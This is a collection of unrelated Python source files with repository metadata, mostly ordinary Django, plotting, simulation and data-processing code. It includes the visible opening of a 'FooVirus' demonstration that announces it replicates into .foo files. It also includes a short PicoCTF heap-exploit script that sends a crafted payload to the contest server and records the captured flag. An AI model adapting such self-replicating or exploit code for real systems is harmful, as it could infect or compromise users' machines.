621d8be3c223c15cdd4a4422817a52204c59ad83 | b068cfe63d245d481c313793bfe78347e4f9050f | /pingme/views.py | 73ea454c7a58e1edf3cdc978fb44a3fc0439da82 | [] | no_license | OfekAgmon/PingMeBackend | beb3ba8259aabe6a712f49e43830107f4e5c0dc2 | b10eb2634e6febb52b56e05d2efe6b3dd8967f4d | refs/heads/master | 2016-08-12T15:26:47.791932 | 2016-04-14T13:54:11 | 2016-04-14T13:54:11 | 51,575,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,074 | py | from django.http import HttpResponseBadRequest
from rest_framework import mixins
from rest_framework import viewsets
from django.contrib.auth.models import User
from rest_framework.authtoken.models import Token
from rest_framework.authtoken.serializers import AuthTokenSerializer
from rest_framework.decorators import li... | [
"ofek.agmon@gmail.com"
] | ofek.agmon@gmail.com |
2b7102ab643452bc1b953138194999c4c510a881 | 566abf49a0fc8d9cb5495bbdc2c6d59daead7af2 | /TestBed/boxplot.py | eaab94a4f6389fbd8f6bcdccd09295c48ba8b2b5 | [] | no_license | maxiaoba/VehicleLowlevelControl | d8c64854a326355a49d3dd5f0e5514e29db16791 | d74676e9e8215349568de8f91b2f19a87a35dfc4 | refs/heads/master | 2020-03-27T16:50:20.070677 | 2018-09-09T20:44:41 | 2018-09-09T20:44:41 | 146,809,642 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 599 | py | import matplotlib.pyplot as plt
import numpy as np
import os
names = []
for policy in os.listdir("./Policy"):
print(policy != '.DS_Store')
if policy != '.DS_Store':
names.append(policy[:-4:])
figureid = 1
data = []
for name in names:
fig = plt.figure(figureid, figsize=(8, 6))
axes = plt.gca()
axes.set_xlim([-... | [
"maxiaoba@umich.edu"
] | maxiaoba@umich.edu |
700a4a25c71dd7d76a06dcb92c29177e3572e344 | ab7a69679ed942a8369779e1fd296b2889e860be | /dash/migrations/0002_tokens.py | 1e6e6b2a5f057fd981e358ea4f23eeabc28d9847 | [] | no_license | HridayHegde/django-dashboard-learn | 9d7b6f20f5d1f06ce5f866d4a1ad4116afc93f4d | 0c902b05d81a1f40508d2ca915d2c065c5d53843 | refs/heads/master | 2023-06-27T18:43:35.301854 | 2021-07-21T09:50:17 | 2021-07-21T09:50:17 | 382,824,528 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 474 | py | # Generated by Django 3.2.4 on 2021-07-07 07:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('dash', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='tokens',
fields=[
('tokenid',... | [
"hridayhegde1999@gmail.com"
] | hridayhegde1999@gmail.com |
14173b2b176c1d0839b1afa167b7a2936fcecbda | aac2ef65f5d5f8bbed750b4800314ff27b176219 | /deeplarning/admin.py | 2763a746db8f23a9c2c9cc574b1bbef88f5bd0f1 | [] | no_license | monkey2nd/deep_site | 0072158dfc0c9215ad46e5b7ab427b73f30c499a | 19d94405eb681741c7909591f386bbe6c7142ce1 | refs/heads/main | 2023-03-18T09:25:42.421266 | 2021-01-09T14:37:23 | 2021-01-09T14:37:23 | 328,171,818 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 127 | py | from django.contrib import admin
from .models import Check_photo
# Register your models here.
admin.site.register(Check_photo) | [
"saitokoki1216@yahoo.co.jp"
] | saitokoki1216@yahoo.co.jp |
1bbd707f5dec0f1533f14c3912b13c676b6029be | 22186193d8fb87a0e031d052c9eaa0f37711d9ba | /simd-toolchain/scripts/python/solver_program/solver_json_utils.py | 65d6c8f89ad134d76f1ad2eab670b3e8b3bedfe3 | [] | no_license | xytgeorge/EEES | 808c584e6e74fe5131ecc120d7f54e6b93e19261 | 35b41ef9651fe4f98a00a7f9b3e7e635e332dc3d | refs/heads/master | 2021-01-10T01:20:10.930559 | 2015-11-10T23:46:03 | 2015-11-10T23:46:03 | 45,947,907 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 177 | py | import os, sys
import json
def read_solver_json_info(json_path):
"""Just load the JSON file to a dict"""
with open(json_path) as f: info = json.load(f)
return info
| [
"xytgeorge@gmail.com"
] | xytgeorge@gmail.com |
6c8e17c61413277ebaf50ae3bdc4f8fabfedd6e5 | 3600c277b1ab5f2d886c0497cd46a8d6ad9897b5 | /venv/Lib/site-packages/simplekv-0.12.0-py3.7.egg/simplekv/memory/redisstore.py | 5e2b5ca9ef4792d2baf42d2146d137002f2ed09b | [
"MIT"
] | permissive | phurinaix/issue-credential | eaedd492cab1afe967492ffe30b9a3f7e8fb6c74 | 2757f65a0f8cbcdd9593aa669e155c1b91c863c2 | refs/heads/master | 2022-10-26T06:38:57.366825 | 2019-06-24T01:02:54 | 2019-06-24T01:02:54 | 189,159,119 | 0 | 1 | MIT | 2022-10-15T11:19:44 | 2019-05-29T05:53:40 | Python | UTF-8 | Python | false | false | 1,824 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from io import BytesIO
from .. import KeyValueStore, TimeToLiveMixin, NOT_SET, FOREVER
import re
class RedisStore(TimeToLiveMixin, KeyValueStore):
"""Uses a redis-database as the backend.
:param redis: An instance of :py:class:`redis.StrictRedis`.
"""
d... | [
"phurinaix@gmail.com"
] | phurinaix@gmail.com |
001bfb3a41b69b7d495485b584c846cb727a1133 | aebbf23d927c5204aab4a7b9b2de931c3ac89b07 | /src/sensor_stick/features.py | c0302620dac12d05730552c94826c2dca12ffde1 | [] | no_license | esraaelelimy/sensor_stick | b0d01c599afecf842285f3176b113fc71da95612 | 1a5bf4df026e37e124d62356b7c2be3baa24dd53 | refs/heads/master | 2021-09-03T16:08:14.624177 | 2018-01-10T09:50:59 | 2018-01-10T09:50:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,694 | py | import matplotlib.colors
import matplotlib.pyplot as plt
import numpy as np
from pcl_helper import *
def rgb_to_hsv(rgb_list):
rgb_normalized = [1.0*rgb_list[0]/255, 1.0*rgb_list[1]/255, 1.0*rgb_list[2]/255]
hsv_normalized = matplotlib.colors.rgb_to_hsv([[rgb_normalized]])[0][0]
return hsv_normalized
de... | [
"noreply@github.com"
] | noreply@github.com |
0977cabaf7b5299a5fa7de2b407e524e78bceb42 | 546d94910c6f8178bb8589276823fe17594031bf | /2020/day20.py | b41032254e0339c0b0ec3150463c6df3005b2d36 | [] | no_license | ashbob999/Advent-of-Code | c567aa8f66dedc17843febd280b5462d557c5c1c | b4415ac42b434026c7bf0516bab2d4d556adc89d | refs/heads/master | 2023-01-18T15:10:42.726205 | 2022-12-30T17:43:42 | 2022-12-30T17:43:42 | 225,138,104 | 1 | 0 | null | 2019-12-03T13:45:07 | 2019-12-01T09:46:22 | Python | UTF-8 | Python | false | false | 8,869 | py | from typing import Callable
from os.path import isfile, join as path_join
file_name = path_join('input', 'day20.txt')
file_name = path_join("..", "..", "..", "Download", "20-1.txt")
def to_list(mf: Callable = int, sep='\n'): return [mf(x) for x in open(file_name).read().split(sep) if x]
def to_gen(mf: Callable = in... | [
"ashbob999@gmail.com"
] | ashbob999@gmail.com |
adda4d5ae190df85d65f0baa347f29106c2ae75a | 3b3b92e2c1c7ea4886543077f79c3f910e06abb1 | /random_quantum.py | d73931082f3cea3bb4782083eeb91ea3893423d7 | [] | no_license | lavis0/qtetris | 7896507ebe271309dc5d3e3e5fbcb5e5f356d924 | eb5ad61ecdca84457b9ae64d08cbeaad0edbea3f | refs/heads/master | 2020-09-11T14:06:40.624465 | 2019-12-04T15:42:16 | 2019-12-04T15:42:16 | 222,091,570 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 403 | py | from microqiskit import QuantumCircuit, simulate
qc = QuantumCircuit(1, 1)
qc.h(0)
qc.measure(0, 0)
counts = simulate(qc, 1, '')
def qRand(nMsrmnts):
results = []
for i in range(nMsrmnts):
results += simulate(qc, 1, '')[0]
binary = ''
for i in range(len(results)):
binary +=... | [
"noreply@github.com"
] | noreply@github.com |
fd8731112a888fc604318ef88a6131069b15e082 | 0fb22996983a4f034882e115ba97e3751601f542 | /main.py | 1698d7a25b3b39e1b3516571b0bbe75d3429290c | [] | no_license | johnnylin110/Networksecurity-Project2 | a88663f631b219c3231f9318bf69f83bf9d37ea8 | 33d415a485a37ab60aca155f301ed2795a045fcd | refs/heads/master | 2022-10-18T11:08:10.898729 | 2020-06-16T14:58:55 | 2020-06-16T14:58:55 | 272,732,989 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,466 | py | import re
import numpy as np
exe_file_name = dict()
query_name = dict()
all_ip = dict()
Event_IDs = dict()
train_num_person = 6
test_num_person = 2
testing_num = 2
testing_dir = 'Example Test'
####################################
####################################
# Data Preprocessing
##############################... | [
"dominatorjohnny@gmail.com"
] | dominatorjohnny@gmail.com |
1c4afa4aa507e5ab4670e9ad5fdd7ce0289ac332 | 562e3b36491348f73b84ee98a0d3b4b3e1c87432 | /vulnsite_project/banking/migrations/0004_auto_20201117_2209.py | 3483b01064e8a830e9fce2ab6caeb2704f0f9150 | [] | no_license | russellcrowley/github-upload | 26dcdb2504a5f81b8ba6e3e32217a59198c7d72e | 17853eae361e4790ee1c6acaba48c7ff889a2845 | refs/heads/master | 2023-02-06T20:19:12.511048 | 2020-12-29T22:15:21 | 2020-12-29T22:15:21 | 325,391,349 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 743 | py | # Generated by Django 3.1.1 on 2020-11-17 22:09
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
... | [
"russell_crowley@hotmail.com"
] | russell_crowley@hotmail.com |
708a60080183532bbf99bf327fc3efb9722a61ae | 01aaba17fa6374d57ddeaacd9d0b6787aa30035e | /AES.py | 62b28bca8cc174ed1212bfef784631826b9148c7 | [] | no_license | Uruael/CypherBSK | 791c5e05f97f3b2d116aa46e664e6f040e77f750 | 0d3ac45af0c3bd83f77e84bc2728213ddddfbac3 | refs/heads/master | 2022-12-27T19:33:00.547993 | 2020-09-17T08:15:03 | 2020-09-17T08:15:03 | 259,529,068 | 0 | 0 | null | 2020-09-17T08:15:04 | 2020-04-28T04:14:58 | Python | UTF-8 | Python | false | false | 2,129 | py | from Crypto.Cipher import AES as A
appState = 1
def Get_BlockType():
modes = [None,A.MODE_ECB, A.MODE_CBC, A.MODE_CFB, None, A.MODE_OFB]
no = appState["UI"]["blockopt"].get()
return modes[int(no)]
def AES_Init(passedState):
global appState
appState = passedState
# Add AES subdirectory
appState["AES... | [
"noreply@github.com"
] | noreply@github.com |
2f05ecd6d9cc54a4372b8af614e47ca2f364b4d1 | 284dff4606efdffecb1b16460da1c25d01912881 | /source/accounts/admin.py | 17aeb2648b46801f9f93f2b42510899c9c9d89bd | [] | no_license | MuctepK/exam-8 | a5f5532ce98d23c5bd0bfd7263e7f142297e647e | 93a8db8b26608031e7ab27baa8c5dd5770913505 | refs/heads/master | 2023-04-30T17:25:13.212126 | 2019-11-18T14:03:14 | 2019-11-18T14:03:14 | 222,095,351 | 0 | 0 | null | 2023-04-21T20:40:24 | 2019-11-16T12:22:36 | Python | UTF-8 | Python | false | false | 384 | py | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from .models import Profile
class ProfileInline(admin.StackedInline):
model = Profile
include = ['avatar']
class UserProfileAdmin(UserAdmin):
inlines = [ProfileInline]
admin.si... | [
"muctep.k@gmail.com"
] | muctep.k@gmail.com |
a80b63b541ac3a6d21273d2d3d36da35afc4c4bb | 4f9f9cff82187adc77bb29f81e7e6e8984dca4a7 | /pylfg/TUI/command.py | 53423d1c427832117cccb0095d469762f277569e | [
"MIT"
] | permissive | Ars-Linguistica/PyLFG | 645ad5542555d5af7f03dac1e78b84e092986d8d | 6efc5debe7577aba61bb5892a7c7bacf6c73a8d5 | refs/heads/main | 2023-04-17T01:42:11.283696 | 2023-01-29T22:55:23 | 2023-01-29T22:55:23 | 586,289,901 | 2 | 3 | MIT | 2023-01-29T15:50:59 | 2023-01-07T16:04:32 | Python | UTF-8 | Python | false | false | 5,168 | py | import json
class CommandHandler:
def __init__(self, rule_list, lexicon_list, parse_tree):
self.rule_list = rule_list
self.lexicon_list = lexicon_list
self.parse_tree = parse_tree
def process(self, input_string):
if input_string[0] == "$":
# Process command
... | [
"noreply@github.com"
] | noreply@github.com |
072b98df392180359961bffc5f7ca2b41c6df683 | a40a59372ef7b5287806eab47527a9271b508604 | /test.py | 9accd02254a67a80106309d42745b3d8b325a87f | [] | no_license | JarlPatrick/Reaalkooli_lend | 5632b42035fe2547eb19c3c33c7935e258b1a219 | a7565b944b8099c0c5365c9f697c322ab37b3266 | refs/heads/master | 2021-10-16T15:08:37.211845 | 2019-02-11T19:39:47 | 2019-02-11T19:39:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,889 | py | from pytrack.rtty import *
from pytrack.lora import *
from pytrack.led import *
from pytrack.temperature import *
from pytrack.cgps import *
from pytrack.camera import *
from pytrack.telemetry import *
from time import sleep
import threading
import configparser
import bme280
import RPi.GPIO as GPIO
class Tracker(obj... | [
"jarlpatrick@gmail.com"
] | jarlpatrick@gmail.com |
e8bf8b6aef00c0bc98a920019e99c8e607d7ccf8 | ac2d3050b9b64ed850ee7dcdd4cd8009d79c8c62 | /lib/real.py | 5d920edeec6143e45c7d848be87b68264e1d2e0f | [] | no_license | tgwizard/backbone-todo-list | 63b2e216371e04359d6a69be719112ba77bd83e3 | 3b3708b39a281928e7a42adef28ab01700bc80fc | refs/heads/master | 2020-05-16T08:17:15.094789 | 2014-06-30T10:48:37 | 2014-06-30T10:48:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,190 | py | # -*- coding: utf-8 -
from uuid import uuid4
class TodoListRepo(object):
def __init__(self, db):
self.todo_lists = db.todo_lists
def get_list(self, list_id):
list = self.todo_lists.find_one({ '_id': list_id }) or { 'items': [] }
return list['items']
def create_list_item(self, lis... | [
"tgwizard@gmail.com"
] | tgwizard@gmail.com |
c4eea08c3c836862526b83f9934b213b95e57108 | 12404663f766ba22755fef4b09d7e2389124ea03 | /leanai/asgi.py | 5a643db6d05435cb8c1b868ce30419745eecb452 | [] | no_license | jprice8/leanai | a0035139fccb39975cd97151f08c2cefa3f0b4e7 | 93be6df32b63ca76115f7af3b1841fe1388b1ba4 | refs/heads/master | 2023-02-16T17:15:51.694512 | 2020-12-21T20:38:40 | 2020-12-21T20:38:40 | 316,081,137 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | """
ASGI config for leanai project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTIN... | [
"jdprice1995@gmail.com"
] | jdprice1995@gmail.com |
9740f01cab9b7a3fe74c1358caafa3f11e78a61f | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/nnsept.py | d01d74ddda82c5d58013cecef328232977d8dd27 | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 778 | py | ii = [('LyelCPG2.py', 2), ('SadlMLP.py', 3), ('WilbRLW.py', 13), ('WilbRLW4.py', 26), ('AubePRP2.py', 1), ('LeakWTI2.py', 3), ('WilbRLW5.py', 22), ('LeakWTI3.py', 13), ('PeckJNG.py', 9), ('AubePRP.py', 2), ('FitzRNS3.py', 21), ('WilbRLW2.py', 30), ('WilkJMC2.py', 1), ('KiddJAE.py', 1), ('BuckWGM.py', 2), ('LyelCPG.py',... | [
"varunwachaspati@gmail.com"
] | varunwachaspati@gmail.com |
f9a29cfceb44e893ba530b3ef2b8d99befbaf964 | d20a20bdfb9e9ed878a6087f528db08320a4bd04 | /Python/Spencer Appleton foofolder/foofolder/foo.py | 4ed9aa0c27be3c2b9b8ebbfac7e1830579f21699 | [] | no_license | Spencerappleton/all_python_attempt2 | 167a9bbbfe70f057670c50a181cc7b6d76706e62 | 90a3f8f8aea8465a699faa2d083d576fcc4c1a10 | refs/heads/master | 2021-01-21T21:19:12.189162 | 2017-06-19T19:52:07 | 2017-06-19T19:52:07 | 94,815,172 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,114 | py |
#!/usr/local/bin/python3
import sys
import os
import glob
## FooVirus.py
print("\nHELLO FROM FooVirus\n")
print("This is a demonstration of how easy it is to write")
print("a self-replicating program. This virus will infect")
print("all files with names ending in .foo in the directory in")
print("which you execute an ... | [
"noreply@github.com"
] | noreply@github.com |
52aa3774a83565a3eb6c697b01a9a3d8eff439fb | 2a20134f781c392688af089f64da55c75e78904a | /28.py | 28727ed334f1c0f326b0d81d2e1660eb8a3d2a3d | [] | no_license | ThinkAbout1t/kolokwium2 | c468ff7a49b5bd0c5a3ded9bd873a1693e795032 | 960206af77727f18839532248b01c67d499443f6 | refs/heads/master | 2022-04-19T20:51:41.746466 | 2020-04-14T17:25:44 | 2020-04-14T17:25:44 | 255,676,212 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | '''Знайти кількість парних елементів одновимірного масиву.
виконал Пахомов Олександр'''
import numpy as np
import random
a=np.zeros(20, dtype= int)
summa=0
for i in range(20):
a[i]=random.randint(100,200)
if a[i]%2==0:
summa+=1
print(a)
print(summa)
| [
"noreply@github.com"
] | noreply@github.com |
c238ece44c393e6d187092a5df78f811393ac770 | 468849e1ac4c7048d8400a059fab3ea4cc36df54 | /bongo_2.py | bf7e9a0864f63cc17961d00a9bb0460f176b926c | [] | no_license | mehedees/Python-Code-Test | 9dfec4513a349752f7e0e426c986fd3221f5b3c9 | f91f1dd83b9f18f9b29bee18bd0d1ac42dbc0ee6 | refs/heads/master | 2022-11-26T15:16:35.051686 | 2020-08-06T17:37:55 | 2020-08-06T17:37:55 | 285,633,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 694 | py | def print_depth(data, **kwargs):
depth = kwargs.get('depth') or 1
if data:
for k, v in data.items():
print(f"{k} {depth}")
if isinstance(v, dict):
print_depth(v, depth=depth+1)
elif hasattr(v, '__dict__'):
print_depth(v.__dict__, depth=... | [
"siddique@divine-it.net"
] | siddique@divine-it.net |
835a8747bc452884396134c8aa7ff8deb91a04bb | bb34686465251ba65ea7fa63971a9ddc5cb6c365 | /website/run.py | 88dee9983702a0f85698c3d8aa1c99432b0205f7 | [] | no_license | jmacenka/flask-nbdf | 72ecf2c206442132419ee24a754b815c42ba9b61 | c81e40100302f526e575453dd21b0f400f51896a | refs/heads/master | 2021-06-14T02:41:14.616649 | 2019-09-20T21:33:59 | 2019-09-20T21:33:59 | 170,572,460 | 0 | 0 | null | 2021-05-08T16:52:56 | 2019-02-13T20:11:24 | Python | UTF-8 | Python | false | false | 173 | py | from website import socketio, app
if __name__ == "__main__":
#app.run(host='0.0.0.0',port=5000,debug=True)
socketio.run(app, debug=True, host='0.0.0.0', port=5000)
| [
"="
] | = |
fafd5d55d554054ac3914404f2cd7dbcf4ea5096 | eb1e9450c15ffce6aa08df2e0f5b45903e9b9d5e | /tree_walker.py | db7e0123f1069da393be878a204778e710d062b5 | [] | no_license | neilmca/py_content_tree_walker | b66737c44e1271c822938a8328e0d6f9f65e61ea | fdaa3e505ea9f897ef1e52c0a7993f66f175f573 | refs/heads/master | 2020-03-28T17:04:03.096292 | 2018-11-09T09:25:46 | 2018-11-09T09:25:46 | 148,755,242 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 357,317 | py | #! /usr/bin/env python
import requests
import os
import json
import datetime
import sys
import getopt
import warnings
warnings.filterwarnings("ignore")
#README
# Need to have the requests module installed
# Use VirtualEnv
# 1. python -m virtualenv env
# 2. (Activate the environment) env\Scripts\activate
# 3. install... | [
"neil.mcalpine@bbc.co.uk"
] | neil.mcalpine@bbc.co.uk |
724c27a2f6b3f27f3319aa876e5a424651906f06 | 1b68bae75f48091c83b3a064271637e8b61622d0 | /NewAlphabet.py | 9dce64043f7bf2f5817634b313d42c31a7a3dd18 | [] | no_license | PythonCharmer1/-United-States-of-America-Computing-Olympiad-USACO-Prep | bc09194253ddf9e393388ac9035f7b1bf9e3712c | f6846f4e41a797c270936572817c4acb90d52ca1 | refs/heads/master | 2022-12-11T07:31:37.794275 | 2020-08-28T02:35:12 | 2020-08-28T02:35:12 | 285,959,086 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,032 | py | # Python 3.7
# This Program solves the New Alphabet USACO problem
# By: Yusuf Ali
import string
special = ["@","8","(","|)","3","#","6","[-]","|","_|","|<","1","[]\/[]","[]\[]","0","|D","(,)","|Z","$","][","|_|","\/","\/\/","}{","`/","2"]
letters = []
for i in string.ascii_lowercase:
letters.append(i... | [
"noreply@github.com"
] | noreply@github.com |
60b4ace9d276d96b0f4604a7077817c101c6b49b | 0f4bdbc0548a81043e0f90e6d37ec292bcb2648e | /simulation.py | b6680c6931d6f4db3e8e5e7b30ef73085383486a | [] | no_license | brianbreitsch/pyidmsim | 7463e33405489c1548446080116947a227d52b9b | a75bc1f260ad26a6d78b1bc5d4d4122c10a2b7f1 | refs/heads/master | 2016-09-05T10:46:22.366378 | 2014-02-14T01:56:46 | 2014-02-14T01:56:46 | 16,629,541 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,638 | py | # COMAP Contest
#
# Highway Traffic Simulation
# Two-Lane, IDM Model
# SI units
import math
import random
import itertools
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation
class Vehicle:
def __init__(self):
self.x = 0. # displacement
self.lane = 0 ... | [
"brocktane@users.sourceforge.net"
] | brocktane@users.sourceforge.net |
1f41d8691ba3cd80a2f82b2839155c9cc4ff2071 | d6cfe0d55cb526bfe6d5174489cce7f08752cbe8 | /DataUtils.py | 15c07923c8460d22d7eb43955ca0bd7533df1166 | [] | no_license | nectario/GenrePrediction | 3838dec7f5193fe2e0d1e6ccf2a7651b939dfefb | 5fb3aa9558164844b58ce160f5ec81691d6e25b9 | refs/heads/master | 2021-03-02T23:07:11.714815 | 2020-06-14T17:44:53 | 2020-06-14T17:44:53 | 245,913,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,713 | py | import numpy as np
from sumy.nlp.stemmers import Stemmer
from EntropyUtils import *
import pandas as pd
from orderedset import *
from sklearn.preprocessing import MultiLabelBinarizer
from tqdm import tqdm
from sklearn.preprocessing import MinMaxScaler
import glob
import os
def load_genre_labels(file_path):
curren... | [
"mail@nektarios.com"
] | mail@nektarios.com |
2db1bdf6ba86c7db5f82f5c50be452c69fe724f0 | 0352a0dbf1dccf35e9d043ecdd060dfd45aded7d | /PICO-CTF-2018-PWNABLES/are_your_root_heap/sploit.py | 62f9d2e711ad31a91d570ffd4cca0374ebb8e0ea | [] | no_license | AnisBoss/CTFs | 4d4b8ebb33a5f1678975003c57d2cb7d128bfb32 | 535e1e5b04425e859058e8ef9450f4d76580728f | refs/heads/master | 2021-01-22T10:09:31.585893 | 2020-09-13T22:49:00 | 2020-09-13T22:49:00 | 102,334,842 | 27 | 5 | null | null | null | null | UTF-8 | Python | false | false | 267 | py | from pwn import *
p = remote("2018shell2.picoctf.com", 29508)
payload = ""
payload += "AAAAAAAB\x05"
p.sendline("login {}".format(payload))
p.sendline("reset")
p.sendline("login {}".format(payload))
p.interactive()
#flag picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1}
| [
"anisanis8446@gmail.com"
] | anisanis8446@gmail.com |
b953dc5f8c83904de9b9a10f5e61bad03c364dd4 | c42520b03d229fbcbb91034448faee95001515da | /website/urls.py | d393ff5ec8c05c01abdb6293aa6e2fe7d54df4ec | [] | no_license | niti4950/thames | 2e6d6b2de2133cb367aa55d498b1488c677b7bb0 | 18b1ec93c458302901e65dfd8f65cc3fa6b7f417 | refs/heads/master | 2020-03-22T01:56:54.512843 | 2018-07-01T15:27:20 | 2018-07-01T15:27:20 | 139,340,200 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,571 | py | """website URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
... | [
"hj.harshit007@gmail.com"
] | hj.harshit007@gmail.com |
8c40813481531959fff6f583de2d7021c96d5996 | 41825855b6d44d799c1b594c75cf9a8054504a18 | /account/filters.py | b6c6f5b4c42a1f2bffab9f784fae01d1a5d765ec | [] | no_license | Syednazirhussain/DjangoCMS | 2815eb0fd9ccd6890e14133e10d0f7dc543aad2c | 8985f7dc10f3428b849a8900658d190e7b307b76 | refs/heads/master | 2022-05-21T19:19:24.488700 | 2020-04-28T20:44:01 | 2020-04-28T20:44:01 | 259,340,268 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 367 | py | import django_filters
from django_filters import DateFilter
from .models import *
class OrderFilters(django_filters.FilterSet):
start_date = DateFilter(field_name='date_created', lookup_expr='gte')
end_date = DateFilter(field_name='date_created', lookup_expr='lte')
class Meta:
model = Order
fields = '__all_... | [
"syednazir13@gmail.com"
] | syednazir13@gmail.com |
ace2a4570b7fe0556419017f890effd6c5682676 | 2a68b03c923119cc747c4ffcc244477be35134bb | /interviews/BB/addTwoNumsII.py | e4456cbba6d6b6ebf35f4629a4fe46f8f52b1043 | [] | no_license | QitaoXu/Lintcode | 0bce9ae15fdd4af1cac376c0bea4465ae5ea6747 | fe411a0590ada6a1a6ae1166c86c585416ac8cda | refs/heads/master | 2020-04-24T20:53:27.258876 | 2019-09-24T23:54:59 | 2019-09-24T23:54:59 | 172,259,064 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,782 | py | """
Definition of ListNode
class ListNode(object):
def __init__(self, val, next=None):
self.val = val
self.next = next
"""
class ListNode(object):
def __init__(self, val, next=None):
self.val = val
self.next = next
class Solution:
"""
@param l1: The first list.
@para... | [
"jeremyxuqitao@outlook.com"
] | jeremyxuqitao@outlook.com |
7a4d8ae73c7301219e66de4ec0a3f30e85498bbf | 3d6d53bee805c7cabf7325c7fc7333cdffea53c3 | /界面/demo.py | ba37f35b8d06dde98d5b8a34e755e419b928ab4f | [] | no_license | dteer/A_1 | 8c7e8f92292989296ed1243c868d36d036f8f94a | 1b7931a295bde1aae44670e5ab4c86a1a1dd225b | refs/heads/master | 2020-06-15T03:16:05.244124 | 2019-07-04T07:41:45 | 2019-07-04T07:41:45 | 195,190,734 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,104 | py | import wx
class MainFrame(wx.Frame):
def __init__(self, parent, id, title):
wx.Frame.__init__(self, parent, id, title, size=(500, 300))
# 显示按钮功能
self.buttonOK = wx.Button(self, -1, 'OK', (20, 20), (60, 30))
self.Bind(wx.EVT_BUTTON, self.OnClick, self.buttonOK)
self.button... | [
"990291835@qq.com"
] | 990291835@qq.com |
2b69c3f3bb288570d4eeddc1187d074b0f989f3c | 8514befb5fd1395002180e64f0016e335378d567 | /main.py | dc6f9938576fb2f976e1580b6455a606d18400c4 | [] | no_license | TrofimovAssya/TCRome | cb2b00612e0f2a93e71c97439481b378b6fff6c4 | 59ef0bc6daebe4b5a4927fd8e1607cb8731bade2 | refs/heads/master | 2023-01-08T01:56:14.359036 | 2020-10-27T15:08:30 | 2020-10-27T15:08:30 | 261,264,352 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,379 | py | #!/usr/bin/env python
import torch
import json
import pdb
import numpy as np
from torch.autograd import Variable
import os
import argparse
import datasets
import models
import pickle
import time
import random
import monitoring
import training
import evaluations
#
def build_parser():
parser = argparse.ArgumentParser... | [
"petitkalimero@gmail.com"
] | petitkalimero@gmail.com |
584cf677419592fa887342902a475be463d4f866 | b48169b5c95506ed7253f94f9533b21a8e73ae43 | /flask-face/app.py | 18af3d3bd6937aaa8fb7ab4ab26441f6bc7a88dc | [] | no_license | 1647790440/deeplearning | 47492cac8f9160b8bd96ab5175c5ab6ca465f6f6 | e01bf11ad6083f2b36482174da449abaabb1a7d1 | refs/heads/master | 2020-05-07T06:03:55.366530 | 2019-06-14T09:32:31 | 2019-06-14T09:32:31 | 180,299,990 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,645 | py | """
This script runs the application using a development server.
It contains the definition of routes and views for the application.
"""
from flask import Flask
from flask import request
from flask import render_template
from flask import make_response, redirect, url_for
from flask import jsonify
from werkzeug.utils i... | [
"37356938+1647790440@users.noreply.github.com"
] | 37356938+1647790440@users.noreply.github.com |
809f20d024366742785c79c3fc533cd75ec13716 | 8a245470643c03d6fda207e6dc9b900603fea815 | /app/views.py | 16ca883b06d8b07ce4059fed528e32172a58eeb8 | [] | no_license | amarabuco/MoneyMachine | ee0cff6a21121b45effe10f1e207b1f28ba48e20 | c135dbc51c8bb633ebb0d748281ec7eedd2aded2 | refs/heads/master | 2022-10-10T13:37:58.152311 | 2019-08-30T22:21:54 | 2019-08-30T22:21:54 | 178,274,834 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38,125 | py | from django.http import HttpResponse, HttpResponseRedirect
from django.shortcuts import render
from django.template import loader
from django.utils.safestring import SafeString
#Data Wrangling
import pandas as pd
import numpy as np
#Visualization
import matplotlib
import matplotlib.pyplot as plt
from mpl_finance impo... | [
"adrianomal@gmail.com"
] | adrianomal@gmail.com |
